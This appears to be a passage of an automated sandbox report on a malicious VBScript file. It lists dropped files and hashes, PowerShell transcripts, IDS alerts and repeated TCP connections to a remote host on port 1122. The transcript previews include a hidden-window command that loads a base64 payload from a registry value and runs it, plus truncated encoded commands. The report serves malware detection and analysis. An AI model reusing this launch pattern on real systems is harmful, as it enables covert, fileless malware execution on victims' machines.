C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\run.dat

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
File Type:	ISO-8859 text, with no line terminators
Category:	dropped
Size (bytes):	8
Entropy (8bit):	3.0
Encrypted:	false
SSDEEP:	3:an:an
MD5:	D029683DE8E4A88D67914947075C5DFD
SHA1:	A056D230E78AD631DFC84F74B21B601BD3ED7741
SHA-256:	1BF503968B21FDDF661E2FC07DF13B3A37040F66393B1BA048DF46AC11D7CB26
SHA-512:	5B159B886F670DD2E266322D8F2D56B8BD55AC027C0CD0F0FF6F20BDEA2455688EC866E5F0D9F6BFC9FCCEDB25BCF69AAAAF918EA59C40968F38F7565BBF3E0D
Malicious:	true
Preview:	3.;eo..H

C:\Users\user\Documents\20220128\PowerShell_transcript.216041.7x6ElvUN.20220128150234.txt

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	10894
Entropy (8bit):	5.12479728237567
Encrypted:	false
SSDEEP:	192:GpW1kgUKMdFduG9JfKj2bpFpgBA8dPANoJThV8X1XxtYwYs6q7BCRY0y92:GY1UK0zuWfKqbpFpgy8dPANoJThyX1An
MD5:	321BEB5E5B3807DD6A43DD026A1F73D3
SHA1:	65D9D8BF3CB1F471F76B3388B5DB9D474EA86D39
SHA-256:	FDFC4D8AF5145035C3D8F1628880A9C26821EBDECCFD33770A47AAEC0867CFF9
SHA-512:	04007D2AE4877BAF060D46A2130B530504A2AB7FBFB76867A55E04C0A0C55D85485B1AA900C45ADCF8C41466D0C27578B22B30720A8F16907F46080FD1D063CA
Malicious:	false
Preview:	.**********************..Windows PowerShell transcript start..Start time: 20220128150257..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 216041 (Microsoft Windows NT 10.0.19042.0)..Host Application: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -EncodedCommand IwBiAHIAaQBjAGsAIABMAGkAbABsAGkAdABoACAAUABvAHMAdAA4ACAAVABhAGMAdABpAGwAZQBzAGkAIABSAEEARABJAEMAVQAgAFAAYQByAHIAYQBmAG8AdQByAGEAIABTAGUAcgB2AGIAagBlAHIANAAgAEIAdQB0AHQAdwBvADgAIABnAGgAZQBuAHQAIABPAE0AUwBLACAAUwBvAG4AZwBpAHMAaABtAGkAMwAgAEMAVQBQAFAARQBSAFMARABFAFgAIABTAHIAZwBlADkAIABJAG4AZwBuAHUAMQAgAEsAYQBuAGQAZQBsAGEAYgByADMAIABTAGEAcgBvAG4AaQBjACAATQBJAEsARQBZAE4ATwBUAEgAIABOAEkAVABSAEUAUgBJAE4AIABUAEEAQwBLACAAUABJAEcAUABFAE4AQgAgAEIAZQB0AGEAcABhAHIAdAA1ACAAZwBlAG4AaQBvAGgAIABVAGcAZQBzAGsAcgBpAGYAIABCAGUAcwBsAGEAZwBzAG0ANwAgAE4AbwBuAHAAcwB5AGMAaAA5ACAAcwBlAG4AcwBpAHQAaQB6ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpA

C:\Users\user\Documents\20220128\PowerShell_transcript.216041.H9IQ0j_c.20220128150415.txt

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1334
Entropy (8bit):	5.269519531902649
Encrypted:	false
SSDEEP:	24:BxSAC8wOvMOx2DOzU4bnU7PKVWNljexKKzX4CIym1ZJXaPnU7PICnxSAZGO:BZCDOvMOoOhC3NUzYB1ZgPCIkZZGO
MD5:	DF993AE03AC21C9E591BEB65EDA160C7
SHA1:	C648892870ECC4D2EEEFCE81C73CEAE8D4530024
SHA-256:	96A50BD43C7EC0FD2816E4988073FF211575D34E82EE64B57F308D48CA65BC36
SHA-512:	A209E01BF4F5FA51FE0C3CFC1D2A1DD050E81CBAE232AE12CC77527729AF4BB0A65B8C0FFF5B9EFE18510420F8156BBECA30B5A7614948E34C83E73F3E994388
Malicious:	false
Preview:	.********************..Windows PowerShell transcript start..Start time: 20220128150416..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 216041 (Microsoft Windows NT 10.0.19042.0)..Host Application: c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Jordrefor=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').EPISCLERIT;powershell.exe -windowstyle hidden -encodedcommand($Jordrefor)..Process ID: 2568..PSVersion: 5.1.19041.1151..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.19041.1151..BuildVersion: 10.0.19041.1151..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20220128150416..********************..PS>$Jordrefor=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').EPISCLERIT;powershell.exe -windowstyle hidden -encodedcommand($Jordrefor)..False..False..F

C:\Users\user\Documents\20220128\PowerShell_transcript.216041.TZgSR+XZ.20220128150421.txt

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	10914
Entropy (8bit):	5.12548566944034
Encrypted:	false
SSDEEP:	192:OW1kgUKMdFduG9JfKj2bpFpgBA8dPANoJThV8X1XxtYwYs6qcBCRY0y92:91UK0zuWfKqbpFpgy8dPANoJThyX1Aw5
MD5:	B1FD484FD4EB70BB8D709295A1AFF7CE
SHA1:	BC924987C4EC3A7D7A5DA10B86031B9885AF73F9
SHA-256:	EEC9A02DE11FDEED183F21F5C6EB22538E4B316A1335107DBAAA909C393A87B3
SHA-512:	DF39BBB36CFF3ED8C21937E11069D58C136E54DBCF1737083D57C0EE246F11169268389444E8083638A2FF766AEFAFC18D8E968DC22C6F6A57104E8DA7B31C59
Malicious:	false
Preview:	.**********************..Windows PowerShell transcript start..Start time: 20220128150453..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 216041 (Microsoft Windows NT 10.0.19042.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden -encodedcommand IwBiAHIAaQBjAGsAIABMAGkAbABsAGkAdABoACAAUABvAHMAdAA4ACAAVABhAGMAdABpAGwAZQBzAGkAIABSAEEARABJAEMAVQAgAFAAYQByAHIAYQBmAG8AdQByAGEAIABTAGUAcgB2AGIAagBlAHIANAAgAEIAdQB0AHQAdwBvADgAIABnAGgAZQBuAHQAIABPAE0AUwBLACAAUwBvAG4AZwBpAHMAaABtAGkAMwAgAEMAVQBQAFAARQBSAFMARABFAFgAIABTAHIAZwBlADkAIABJAG4AZwBuAHUAMQAgAEsAYQBuAGQAZQBsAGEAYgByADMAIABTAGEAcgBvAG4AaQBjACAATQBJAEsARQBZAE4ATwBUAEgAIABOAEkAVABSAEUAUgBJAE4AIABUAEEAQwBLACAAUABJAEcAUABFAE4AQgAgAEIAZQB0AGEAcABhAHIAdAA1ACAAZwBlAG4AaQBvAGgAIABVAGcAZQBzAGsAcgBpAGYAIABCAGUAcwBsAGEAZwBzAG0ANwAgAE4AbwBuAHAAcwB5AGMAaAA5ACAAcwBlAG4AcwBpAHQAaQB6ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AI

C:\Users\user\Documents\20220128\PowerShell_transcript.216041.o4rSQjy2.20220128150500.txt

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	10914
Entropy (8bit):	5.125860346212782
Encrypted:	false
SSDEEP:	192:EW1kgUKMdFduG9JfKj2bpFpgBA8dPANoJThV8X1XxtYwYs6qTBCRY0y92:71UK0zuWfKqbpFpgy8dPANoJThyX1AwS
MD5:	488917CB49BD9986DB7A1878AC72C1D1
SHA1:	E37B5B88E30BDA1F0D046803189BE2B276115AC0
SHA-256:	61E05F3E7534476F23D8B02CFE96854CC4138EBEAD5635C5346177F81F89DA31
SHA-512:	65F9D5DAAEC46980F841D73C3EFF823DD0D8232AB4450DE6E3BD14E6182E6AF4E3C330FA26418DE0632D981F2C72D6D16AD5271E21905DEAB94388316FC158E8
Malicious:	false
Preview:	.**********************..Windows PowerShell transcript start..Start time: 20220128150536..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 216041 (Microsoft Windows NT 10.0.19042.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden -encodedcommand IwBiAHIAaQBjAGsAIABMAGkAbABsAGkAdABoACAAUABvAHMAdAA4ACAAVABhAGMAdABpAGwAZQBzAGkAIABSAEEARABJAEMAVQAgAFAAYQByAHIAYQBmAG8AdQByAGEAIABTAGUAcgB2AGIAagBlAHIANAAgAEIAdQB0AHQAdwBvADgAIABnAGgAZQBuAHQAIABPAE0AUwBLACAAUwBvAG4AZwBpAHMAaABtAGkAMwAgAEMAVQBQAFAARQBSAFMARABFAFgAIABTAHIAZwBlADkAIABJAG4AZwBuAHUAMQAgAEsAYQBuAGQAZQBsAGEAYgByADMAIABTAGEAcgBvAG4AaQBjACAATQBJAEsARQBZAE4ATwBUAEgAIABOAEkAVABSAEUAUgBJAE4AIABUAEEAQwBLACAAUABJAEcAUABFAE4AQgAgAEIAZQB0AGEAcABhAHIAdAA1ACAAZwBlAG4AaQBvAGgAIABVAGcAZQBzAGsAcgBpAGYAIABCAGUAcwBsAGEAZwBzAG0ANwAgAE4AbwBuAHAAcwB5AGMAaAA5ACAAcwBlAG4AcwBpAHQAaQB6ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AI

C:\Users\user\Documents\20220128\PowerShell_transcript.216041.v0Uyk5ci.20220128150403.txt

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1334
Entropy (8bit):	5.264937614250767
Encrypted:	false
SSDEEP:	24:BxSACuwOvMOx2DOzU4bnU7PKVWAljexKKzX4CIym1ZJXaFnU7PINnxSAZGN:BZChOvMOoOhC3AUzYB1ZgFCIxZZGN
MD5:	78CCACFE63EFEAA60FB9F0BA01365C15
SHA1:	756D7DA60C3238974B37E56227B8298821D76CBA
SHA-256:	5F9CD63B1783C6423EBE2313ED5B2C5C8F50F9442B48FCBC2987BBA6019BF8A8
SHA-512:	A8818B1064FE69537A68D7EE2FC93FB8365C5A4960F866CABD402430DBC0778D9537B28A1F72BD337A56C8A877BEA735B7DC79FAC9473E95887BD2EBEB07E34C
Malicious:	false
Preview:	.********************..Windows PowerShell transcript start..Start time: 20220128150432..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 216041 (Microsoft Windows NT 10.0.19042.0)..Host Application: c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Jordrefor=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').EPISCLERIT;powershell.exe -windowstyle hidden -encodedcommand($Jordrefor)..Process ID: 6132..PSVersion: 5.1.19041.1151..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.19041.1151..BuildVersion: 10.0.19041.1151..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20220128150432..********************..PS>$Jordrefor=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').EPISCLERIT;powershell.exe -windowstyle hidden -encodedcommand($Jordrefor)..False..False..F

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	185
Entropy (8bit):	5.034626781445821
Encrypted:	false
SSDEEP:	3:RGXKRjN3Mxm8d/AjhclROXDD9jmKXVM8/FOoDamdquKdFklY7KeMZ4MKLJFcLEWW:zx3M7ucLOdBXVNYmdPqFlKeM6MKnH5JB
MD5:	4725698412C19360ACD1EA81E7B40728
SHA1:	FCF42E7B909F01E44493D79FC586109F7397BEA6
SHA-256:	43AD382BF0558F719D3F995F719ABC1E0134AA14304BC4D45ACCC87E767751B8
SHA-512:	5175BF2F383F87204405A512635926D75D3ADD3641F731C9D8909C306C4EFA0F5C03470F4051B87B2BFFF77E0C7E50159B8350F2B954A22DE1FAE3F36F214948
Malicious:	false
Preview:	Microsoft (R) .NET Framework CasPol 2.0.50727.9149..Copyright (c) Microsoft Corporation. All rights reserved.....ERROR: Not enough arguments....For usage information, use 'caspol -?'..

Static File Info

General

File type:	ASCII text, with CRLF line terminators
Entropy (8bit):	4.634802658157138
TrID:	Visual Basic Script (13500/0) 100.00%
File name:	IMG 0045434.vbs
File size:	151564
MD5:	813117cdcd80979365fd6d9586d11e4a
SHA1:	e28ef2705053405e87f440f078f31d13b09a9ee3
SHA256:	1def093ef16309c10c38b5426ac396019c4ddc074394b022626b8dce1ea2acaa
SHA512:	937b8defc5c8fa7661ea2431f768d38276f7ca44bbd3c729a755c3f84806dbbb8905b3187ebc419995fdfa9fa1f9699b8dbda037b4eff817a91e6744f019885c
SSDEEP:	3072:ycs/Z4IREvusFyK3tzh6QM+dNIeWwXXX3QsiXXXXXXXXXXXXXXXXXXXvXXXXXX/J:yzCusn97KR7
File Content Preview:	'Term Glossarian Hauber indta colorado Torsimeter Uniso Streeter1 Count9 SAMURAIEN STVEKLUD Hyrernemet5 Produ1 Enrobed2 Troljer8 ..'Unobesene2 GLANDI OPFAND Skaldyrs Pretr1 HAMR TETRAMA Lett Tirle Inoc Stagsupe2 ADRESSERIN dephlegm evenly LOVLIGHEDF Barto

File Icon


Icon Hash:	e8d69ece869a9ec4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
01/28/22-15:04:31.346670	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	58511	8.8.8.8	192.168.11.20
01/28/22-15:05:08.858132	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	54810	8.8.8.8	192.168.11.20
01/28/22-15:05:15.284511	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	58493	8.8.8.8	192.168.11.20
01/28/22-15:05:52.797097	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	61345	8.8.8.8	192.168.11.20
01/28/22-15:06:23.352252	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	51764	8.8.8.8	192.168.11.20
01/28/22-15:06:35.661730	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	57592	8.8.8.8	192.168.11.20
01/28/22-15:07:36.681490	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	52292	8.8.8.8	192.168.11.20
01/28/22-15:07:49.021013	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	65399	8.8.8.8	192.168.11.20
01/28/22-15:08:19.545893	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	52508	8.8.8.8	192.168.11.20
01/28/22-15:08:25.724108	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	60380	8.8.8.8	192.168.11.20
01/28/22-15:08:50.117366	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	58613	8.8.8.8	192.168.11.20
01/28/22-15:08:56.289552	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	59163	8.8.8.8	192.168.11.20
01/28/22-15:09:26.843241	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	64988	8.8.8.8	192.168.11.20
01/28/22-15:09:33.013900	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	62975	8.8.8.8	192.168.11.20
01/28/22-15:09:39.182609	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	62040	8.8.8.8	192.168.11.20
01/28/22-15:10:03.570439	UDP	254	DNS SPOOF query response with TTL of 1 min. and no authority	53	51382	8.8.8.8	192.168.11.20

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 28, 2022 15:03:53.418195009 CET	49811	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:03:53.434247017 CET	1122	49811	185.140.53.143	192.168.11.20
Jan 28, 2022 15:03:53.948498011 CET	49811	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:03:53.964489937 CET	1122	49811	185.140.53.143	192.168.11.20
Jan 28, 2022 15:03:54.479703903 CET	49811	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:03:54.495774984 CET	1122	49811	185.140.53.143	192.168.11.20
Jan 28, 2022 15:03:55.010863066 CET	49811	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:03:55.026928902 CET	1122	49811	185.140.53.143	192.168.11.20
Jan 28, 2022 15:03:55.542073011 CET	49811	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:03:55.558048964 CET	1122	49811	185.140.53.143	192.168.11.20
Jan 28, 2022 15:04:00.075130939 CET	49818	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:04:00.090703011 CET	1122	49818	185.140.53.143	192.168.11.20
Jan 28, 2022 15:04:00.603497982 CET	49818	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:04:00.619342089 CET	1122	49818	185.140.53.143	192.168.11.20
Jan 28, 2022 15:04:01.134504080 CET	49818	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:04:01.150233030 CET	1122	49818	185.140.53.143	192.168.11.20
Jan 28, 2022 15:04:01.665613890 CET	49818	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:04:01.681417942 CET	1122	49818	185.140.53.143	192.168.11.20
Jan 28, 2022 15:04:02.196753025 CET	49818	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:04:02.212610006 CET	1122	49818	185.140.53.143	192.168.11.20
Jan 28, 2022 15:04:06.443041086 CET	49820	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:04:06.458955050 CET	1122	49820	185.140.53.143	192.168.11.20
Jan 28, 2022 15:04:06.961545944 CET	49820	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:04:06.977624893 CET	1122	49820	185.140.53.143	192.168.11.20
Jan 28, 2022 15:04:07.492490053 CET	49820	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:04:07.508440018 CET	1122	49820	185.140.53.143	192.168.11.20
Jan 28, 2022 15:04:08.023586035 CET	49820	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:04:08.039601088 CET	1122	49820	185.140.53.143	192.168.11.20
Jan 28, 2022 15:04:08.554719925 CET	49820	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:04:08.570638895 CET	1122	49820	185.140.53.143	192.168.11.20
Jan 28, 2022 15:04:31.347376108 CET	49824	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:04:31.363390923 CET	1122	49824	185.140.53.143	192.168.11.20
Jan 28, 2022 15:04:31.877661943 CET	49824	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:04:31.893627882 CET	1122	49824	185.140.53.143	192.168.11.20
Jan 28, 2022 15:04:32.408845901 CET	49824	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:04:32.424813986 CET	1122	49824	185.140.53.143	192.168.11.20
Jan 28, 2022 15:04:32.939960957 CET	49824	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:04:32.955949068 CET	1122	49824	185.140.53.143	192.168.11.20
Jan 28, 2022 15:04:33.471110106 CET	49824	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:04:33.487098932 CET	1122	49824	185.140.53.143	192.168.11.20
Jan 28, 2022 15:04:37.573784113 CET	49825	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:04:37.589699030 CET	1122	49825	185.140.53.143	192.168.11.20
Jan 28, 2022 15:04:38.095118046 CET	49825	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:04:38.111195087 CET	1122	49825	185.140.53.143	192.168.11.20
Jan 28, 2022 15:04:38.626185894 CET	49825	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:04:38.642178059 CET	1122	49825	185.140.53.143	192.168.11.20
Jan 28, 2022 15:04:39.157383919 CET	49825	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:04:39.173346043 CET	1122	49825	185.140.53.143	192.168.11.20
Jan 28, 2022 15:04:39.688453913 CET	49825	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:04:39.704526901 CET	1122	49825	185.140.53.143	192.168.11.20
Jan 28, 2022 15:04:44.023758888 CET	49827	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:04:44.039567947 CET	1122	49827	185.140.53.143	192.168.11.20
Jan 28, 2022 15:04:44.546688080 CET	49827	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:04:44.562758923 CET	1122	49827	185.140.53.143	192.168.11.20
Jan 28, 2022 15:04:45.077943087 CET	49827	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:04:45.094110966 CET	1122	49827	185.140.53.143	192.168.11.20
Jan 28, 2022 15:04:45.609035015 CET	49827	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:04:45.625075102 CET	1122	49827	185.140.53.143	192.168.11.20
Jan 28, 2022 15:04:46.140151978 CET	49827	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:04:46.156217098 CET	1122	49827	185.140.53.143	192.168.11.20
Jan 28, 2022 15:05:09.000840902 CET	49831	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:05:09.016750097 CET	1122	49831	185.140.53.143	192.168.11.20
Jan 28, 2022 15:05:09.525625944 CET	49831	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:05:09.541588068 CET	1122	49831	185.140.53.143	192.168.11.20
Jan 28, 2022 15:05:10.041194916 CET	49831	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:05:10.057177067 CET	1122	49831	185.140.53.143	192.168.11.20
Jan 28, 2022 15:05:10.572166920 CET	49831	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:05:10.588073015 CET	1122	49831	185.140.53.143	192.168.11.20
Jan 28, 2022 15:05:11.103364944 CET	49831	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:05:11.119252920 CET	1122	49831	185.140.53.143	192.168.11.20
Jan 28, 2022 15:05:15.285391092 CET	49832	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:05:15.301263094 CET	1122	49832	185.140.53.143	192.168.11.20
Jan 28, 2022 15:05:15.805459023 CET	49832	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:05:15.821075916 CET	1122	49832	185.140.53.143	192.168.11.20
Jan 28, 2022 15:05:16.336524010 CET	49832	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:05:16.352082968 CET	1122	49832	185.140.53.143	192.168.11.20
Jan 28, 2022 15:05:16.867830038 CET	49832	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:05:16.883383989 CET	1122	49832	185.140.53.143	192.168.11.20
Jan 28, 2022 15:05:17.398873091 CET	49832	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:05:17.414441109 CET	1122	49832	185.140.53.143	192.168.11.20
Jan 28, 2022 15:05:22.306191921 CET	49835	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:05:22.321764946 CET	1122	49835	185.140.53.143	192.168.11.20
Jan 28, 2022 15:05:22.835165024 CET	49835	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:05:22.850657940 CET	1122	49835	185.140.53.143	192.168.11.20
Jan 28, 2022 15:05:23.350610018 CET	49835	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:05:23.366046906 CET	1122	49835	185.140.53.143	192.168.11.20
Jan 28, 2022 15:05:23.866128922 CET	49835	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:05:23.881669044 CET	1122	49835	185.140.53.143	192.168.11.20
Jan 28, 2022 15:05:24.397345066 CET	49835	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:05:24.412791014 CET	1122	49835	185.140.53.143	192.168.11.20
Jan 28, 2022 15:05:46.640532970 CET	49839	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:05:46.656022072 CET	1122	49839	185.140.53.143	192.168.11.20
Jan 28, 2022 15:05:47.157883883 CET	49839	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:05:47.173491955 CET	1122	49839	185.140.53.143	192.168.11.20
Jan 28, 2022 15:05:47.689059973 CET	49839	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:05:47.704746008 CET	1122	49839	185.140.53.143	192.168.11.20
Jan 28, 2022 15:05:48.220204115 CET	49839	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:05:48.235795975 CET	1122	49839	185.140.53.143	192.168.11.20
Jan 28, 2022 15:05:48.751317024 CET	49839	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:05:48.766940117 CET	1122	49839	185.140.53.143	192.168.11.20
Jan 28, 2022 15:05:52.797936916 CET	49840	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:05:52.813911915 CET	1122	49840	185.140.53.143	192.168.11.20
Jan 28, 2022 15:05:53.328399897 CET	49840	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:05:53.344353914 CET	1122	49840	185.140.53.143	192.168.11.20
Jan 28, 2022 15:05:53.859555960 CET	49840	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:05:53.875756979 CET	1122	49840	185.140.53.143	192.168.11.20
Jan 28, 2022 15:05:54.390707016 CET	49840	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:05:54.406744957 CET	1122	49840	185.140.53.143	192.168.11.20
Jan 28, 2022 15:05:54.921889067 CET	49840	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:05:54.938029051 CET	1122	49840	185.140.53.143	192.168.11.20
Jan 28, 2022 15:05:58.966089964 CET	49841	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:05:58.982194901 CET	1122	49841	185.140.53.143	192.168.11.20
Jan 28, 2022 15:05:59.483329058 CET	49841	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:05:59.499352932 CET	1122	49841	185.140.53.143	192.168.11.20
Jan 28, 2022 15:06:00.014463902 CET	49841	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:06:00.030735016 CET	1122	49841	185.140.53.143	192.168.11.20
Jan 28, 2022 15:06:00.545592070 CET	49841	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:06:00.561907053 CET	1122	49841	185.140.53.143	192.168.11.20
Jan 28, 2022 15:06:01.076759100 CET	49841	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:06:01.093158007 CET	1122	49841	185.140.53.143	192.168.11.20
Jan 28, 2022 15:06:23.353280067 CET	49845	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:06:23.369527102 CET	1122	49845	185.140.53.143	192.168.11.20
Jan 28, 2022 15:06:23.870465994 CET	49845	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:06:23.886872053 CET	1122	49845	185.140.53.143	192.168.11.20
Jan 28, 2022 15:06:24.399704933 CET	49845	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:06:24.415946960 CET	1122	49845	185.140.53.143	192.168.11.20
Jan 28, 2022 15:06:24.930932045 CET	49845	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:06:24.947470903 CET	1122	49845	185.140.53.143	192.168.11.20
Jan 28, 2022 15:06:25.462071896 CET	49845	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:06:25.478600979 CET	1122	49845	185.140.53.143	192.168.11.20
Jan 28, 2022 15:06:29.506254911 CET	49846	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:06:29.522483110 CET	1122	49846	185.140.53.143	192.168.11.20
Jan 28, 2022 15:06:30.023459911 CET	49846	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:06:30.039860010 CET	1122	49846	185.140.53.143	192.168.11.20
Jan 28, 2022 15:06:30.554708004 CET	49846	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:06:30.571341038 CET	1122	49846	185.140.53.143	192.168.11.20
Jan 28, 2022 15:06:31.085741043 CET	49846	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:06:31.102181911 CET	1122	49846	185.140.53.143	192.168.11.20
Jan 28, 2022 15:06:31.616938114 CET	49846	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:06:31.633254051 CET	1122	49846	185.140.53.143	192.168.11.20
Jan 28, 2022 15:06:35.662507057 CET	49847	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:06:35.678390026 CET	1122	49847	185.140.53.143	192.168.11.20
Jan 28, 2022 15:06:36.178342104 CET	49847	1122	192.168.11.20	185.140.53.143
Jan 28, 2022 15:06:36.194598913 CET	1122	49847	185.140.53.143	192.168.11.20
Jan 28, 2022 15:06:36.709470034 CET	49847	1122	192.168.11.20	185.140.53.143
